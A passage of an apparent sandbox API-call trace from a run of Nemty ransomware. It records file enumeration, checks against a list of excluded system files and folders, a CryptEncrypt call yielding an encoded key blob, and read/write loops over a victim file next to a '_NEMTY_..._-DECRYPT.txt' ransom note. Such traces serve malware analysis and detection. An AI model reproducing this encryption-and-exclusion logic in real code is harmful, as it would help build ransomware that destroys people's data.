lpMem=0x4f94100 | out: hHeap=0x4f90000) returned 1 [0051.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0051.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0051.968] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2678930, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd2678930, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd2678930, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0051.969] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0051.969] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0051.969] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0051.969] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0051.969] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0051.969] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0051.969] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0051.969] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0051.969] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0051.969] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0051.969] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0051.969] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0051.969] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0051.969] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0051.969] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0051.969] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0051.969] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0051.969] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0051.969] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0051.969] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0051.969] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0051.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0051.969] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0051.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0051.969] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0051.969] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0051.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0051.969] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0051.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0051.969] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0051.969] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0051.969] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0051.969] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0051.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0051.969] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0051.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0051.969] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0051.969] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0051.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0051.970] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0051.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0051.970] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0051.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0051.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94100 [0051.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0051.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0051.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0051.970] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2678930, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd2678930, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd2678930, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0051.970] FindClose (in: hFindFile=0x3423930 | out: hFindFile=0x3423930) returned 1 [0051.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94100 | out: hHeap=0x4f90000) returned 1 [0051.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915e8 | out: hHeap=0x4f90000) returned 1 [0051.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0051.970] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd559b52d, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd559b52d, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xddb8, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="Eurosti.TTF", cAlternateFileName="")) returned 1 [0051.970] lstrcmpiW (lpString1="Eurosti.TTF", lpString2=".") returned 1 [0051.970] lstrcmpiW (lpString1="Eurosti.TTF", lpString2="..") returned 1 [0051.970] lstrcmpiW (lpString1="Eurosti.TTF", lpString2="...") returned 1 [0051.970] lstrcmpiW (lpString1="Eurosti.TTF", lpString2="windows") returned -1 [0051.970] lstrcmpiW (lpString1="Eurosti.TTF", lpString2="$RECYCLE.BIN") returned 1 [0051.970] lstrcmpiW (lpString1="Eurosti.TTF", lpString2="rsa") returned -1 [0051.970] lstrcmpiW (lpString1="Eurosti.TTF", lpString2="NTDETECT.COM") returned -1 [0051.970] lstrcmpiW (lpString1="Eurosti.TTF", lpString2="ntldr") returned -1 [0051.970] lstrcmpiW (lpString1="Eurosti.TTF", lpString2="MSDOS.SYS") returned -1 [0051.970] lstrcmpiW (lpString1="Eurosti.TTF", lpString2="IO.SYS") returned -1 [0051.970] lstrcmpiW (lpString1="Eurosti.TTF", lpString2="boot.ini") returned 1 [0051.970] lstrcmpiW (lpString1="Eurosti.TTF", lpString2="boot.ini") returned 1 [0051.970] lstrcmpiW (lpString1="Eurosti.TTF", lpString2="AUTOEXEC.BAT") returned 1 [0051.970] lstrcmpiW (lpString1="Eurosti.TTF", lpString2="ntuser.dat") returned -1 [0051.970] lstrcmpiW (lpString1="Eurosti.TTF", lpString2="desktop.ini") returned 1 [0051.970] lstrcmpiW (lpString1="Eurosti.TTF", lpString2="CONFIG.SYS") returned 1 [0051.970] lstrcmpiW (lpString1="Eurosti.TTF", lpString2="RECYCLER") returned -1 [0051.970] lstrcmpiW (lpString1="Eurosti.TTF", lpString2="BOOTSECT.BAK") returned 1 [0051.970] lstrcmpiW (lpString1="Eurosti.TTF", lpString2="bootmgr") returned 1 [0051.971] lstrcmpiW (lpString1="Eurosti.TTF", lpString2="programdata") returned -1 [0051.971] lstrcmpiW (lpString1="Eurosti.TTF", lpString2="appdata") returned 1 [0051.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0051.971] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Eurosti.TTF", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0051.971] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Eurosti.TTF", cchWideChar=11, lpMultiByteStr=0x653f590, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Eurosti.TTF", lpUsedDefaultChar=0x0) returned 11 [0051.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0051.971] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Eurosti.TTF", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0051.971] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Eurosti.TTF", cchWideChar=11, lpMultiByteStr=0x653f590, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Eurosti.TTF", lpUsedDefaultChar=0x0) returned 11 [0051.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0051.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0051.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0051.971] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Eurosti.TTF", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0051.971] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Eurosti.TTF", cchWideChar=11, lpMultiByteStr=0x653f5e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Eurosti.TTF", lpUsedDefaultChar=0x0) returned 11 [0051.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0051.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0051.971] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Eurosti.TTF", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0051.971] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Eurosti.TTF", cchWideChar=11, lpMultiByteStr=0x653f618, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Eurosti.TTF", lpUsedDefaultChar=0x0) returned 11 [0051.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0051.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91590 [0051.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0051.971] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="fieldswitch.ax", cAlternateFileName="")) returned 1 [0051.971] lstrcmpiW (lpString1="fieldswitch.ax", lpString2=".") returned 1 [0051.971] lstrcmpiW (lpString1="fieldswitch.ax", lpString2="..") returned 1 [0051.971] lstrcmpiW (lpString1="fieldswitch.ax", lpString2="...") returned 1 [0051.971] lstrcmpiW (lpString1="fieldswitch.ax", lpString2="windows") returned -1 [0051.971] lstrcmpiW (lpString1="fieldswitch.ax", lpString2="$RECYCLE.BIN") returned 1 [0051.971] lstrcmpiW (lpString1="fieldswitch.ax", lpString2="rsa") returned -1 [0051.971] lstrcmpiW (lpString1="fieldswitch.ax", lpString2="NTDETECT.COM") returned -1 [0051.971] lstrcmpiW (lpString1="fieldswitch.ax", lpString2="ntldr") returned -1 [0051.971] lstrcmpiW (lpString1="fieldswitch.ax", lpString2="MSDOS.SYS") returned -1 [0051.971] lstrcmpiW (lpString1="fieldswitch.ax", lpString2="IO.SYS") returned -1 [0051.971] lstrcmpiW (lpString1="fieldswitch.ax", lpString2="boot.ini") returned 1 [0051.971] lstrcmpiW (lpString1="fieldswitch.ax", lpString2="boot.ini") returned 1 [0051.971] lstrcmpiW (lpString1="fieldswitch.ax", lpString2="AUTOEXEC.BAT") returned 1 [0051.971] lstrcmpiW (lpString1="fieldswitch.ax", lpString2="ntuser.dat") returned -1 [0051.971] lstrcmpiW (lpString1="fieldswitch.ax", lpString2="desktop.ini") returned 1 [0051.971] lstrcmpiW (lpString1="fieldswitch.ax", lpString2="CONFIG.SYS") returned 1 [0051.971] lstrcmpiW (lpString1="fieldswitch.ax", lpString2="RECYCLER") returned -1 [0051.972] lstrcmpiW (lpString1="fieldswitch.ax", lpString2="BOOTSECT.BAK") returned 1 [0051.972] lstrcmpiW (lpString1="fieldswitch.ax", lpString2="bootmgr") returned 1 [0051.972] lstrcmpiW (lpString1="fieldswitch.ax", lpString2="programdata") returned -1 [0051.972] lstrcmpiW (lpString1="fieldswitch.ax", lpString2="appdata") returned 1 [0051.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0051.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fieldswitch.ax", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0051.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fieldswitch.ax", cchWideChar=14, lpMultiByteStr=0x653f590, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fieldswitch.ax", lpUsedDefaultChar=0x0) returned 14 [0051.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0051.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fieldswitch.ax", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0051.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fieldswitch.ax", cchWideChar=14, lpMultiByteStr=0x653f590, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fieldswitch.ax", lpUsedDefaultChar=0x0) returned 14 [0051.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0051.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0051.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0051.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fieldswitch.ax", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0051.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fieldswitch.ax", cchWideChar=14, lpMultiByteStr=0x653f5e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fieldswitch.ax", lpUsedDefaultChar=0x0) returned 14 [0051.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0051.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0051.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fieldswitch.ax", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0051.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fieldswitch.ax", cchWideChar=14, lpMultiByteStr=0x653f618, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fieldswitch.ax", lpUsedDefaultChar=0x0) returned 14 [0051.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0051.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0051.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0051.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f91590 [0051.972] Sleep (dwMilliseconds=0x5) [0051.977] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xd2a0aa30, dwHighDateTime=0x1d561e7)) [0051.977] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xd2a0aa30, dwHighDateTime=0x1d561e7)) [0051.977] GetLastError () returned 0x12 [0051.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0051.977] GetLastError () returned 0x12 [0051.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0051.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0051.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0051.977] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653f2e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653f2e0*=0x100) returned 1 [0051.977] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x10, dwBufLen=0x100 | out: pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x100) returned 1 [0051.977] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653f2dc | out: pszString=0x0, pcchString=0x653f2dc) returned 1 [0051.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94088 [0051.977] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94088, pcchString=0x653f2dc | out: pszString="uRCerLNIZCBkB7/7CbfXqKeqNzFGgZxpgpYREJRQfzq65pt3iiTYUTvTXyMYx4n9\r\nTwmapNsUDjHdHS0CPsgQ7AF40EJWtIz1dFe8FgNfnqW1Xw+LcuMYCMX7Mqv161NT\r\nkP6ANWODbaIcbH+6cbb1KGY/xm7MqH/v77+DVo3xaNnvgip4rRApA4G6ZC44XSEX\r\nDSzI6MkdaaIvguY5X78O+rPrsXtX7qdqgQHOJ788Ho1v27OqTwLaQDJLvNa9LXIr\r\no7lijTzjdVd8gHgfZ2pbLHSQGCY+8puztqqOTnWM9YWb66ZqAtsYjv/poXXnFNVe\r\nOtjQt/+TgBnAxZ9HvqNHgg==\r\n", pcchString=0x653f2dc) returned 1 [0051.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x4f941f8 [0051.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0051.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0051.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0051.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94088 [0051.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0051.978] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\fieldswitch.ax" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0051.978] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f530 | out: lpFileSize=0x653f530*=18150282790958436) returned 0 [0051.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0051.978] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.979] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0051.988] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.988] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0051.988] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.988] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0051.997] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.997] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0051.997] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.997] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.006] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.006] 